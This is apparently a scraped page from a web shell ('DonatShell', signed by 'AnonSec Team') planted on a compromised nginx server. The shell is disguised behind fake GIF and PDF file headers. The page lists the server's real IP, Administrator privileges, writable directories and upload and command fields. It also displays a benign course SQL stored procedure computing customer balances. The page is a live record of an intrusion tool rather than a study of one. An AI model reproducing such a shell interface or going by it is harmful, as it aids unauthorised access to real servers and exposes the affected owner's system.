GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.139
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1602/Resources/SQL_scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1602/Resources/SQL_scripts/BalanceDue_proc.sql
/* 
BalanceDue(customerNumber, @HasBalanceDue, @AmountDue)
Returns: @HasBalanceDue as 'Yes' if the customer has a balance remaining, else 'No'.
         @AmountDue as any amount unpaid.
Usage: BalanceDue(customerNumber, @HasBalanceDue, @AmountDue);
*/

USE classicmodels;

DROP PROCEDURE IF EXISTS BalanceDue;

DELIMITER $$
CREATE PROCEDURE BalanceDue(
    IN  p_customerNumber int(11), 
    OUT p_HasBalanceDue varchar(3),
    OUT p_AmountDue DOUBLE
	)
    
	BEGIN
		DECLARE totalAmountDue DOUBLE;
		DECLARE totalPayments DOUBLE;
    
		SELECT CONVERT(SUM(quantityOrdered * priceEach),DECIMAL(8,2)) INTO totalAmountDue
        FROM orderdetails
        JOIN orders ON orders.orderNumber = orderdetails.orderNumber
		WHERE orders.customerNumber = p_customerNumber;
		
		SELECT CONVERT(SUM(amount),DECIMAL(8,2)) INTO totalPayments
        FROM payments
		WHERE payments.customerNumber = p_customerNumber;
        
        IF ( totalAmountDue > totalPayments ) THEN
			SET p_HasBalanceDue = "Yes";
            SET p_AmountDue = CONVERT( totalAmountDue - totalPayments, DECIMAL(8,2) );
		ELSE
			SET p_HasBalanceDue = "No";
            SET p_AmountDue = 0;
        END IF;
		
        # UNCOMMENT line below to debug values.
        #SELECT customerNumber, customerName, p_HasBalanceDue, p_AmountDue, CONVERT(totalAmountDue,DECIMAL(8,2)), CONVERT(totalPayments,DECIMAL(8,2)) FROM customers WHERE customerNumber = p_customerNumber;
        
	END$$
DELIMITER ;

Anon7 - 2022
AnonSec Team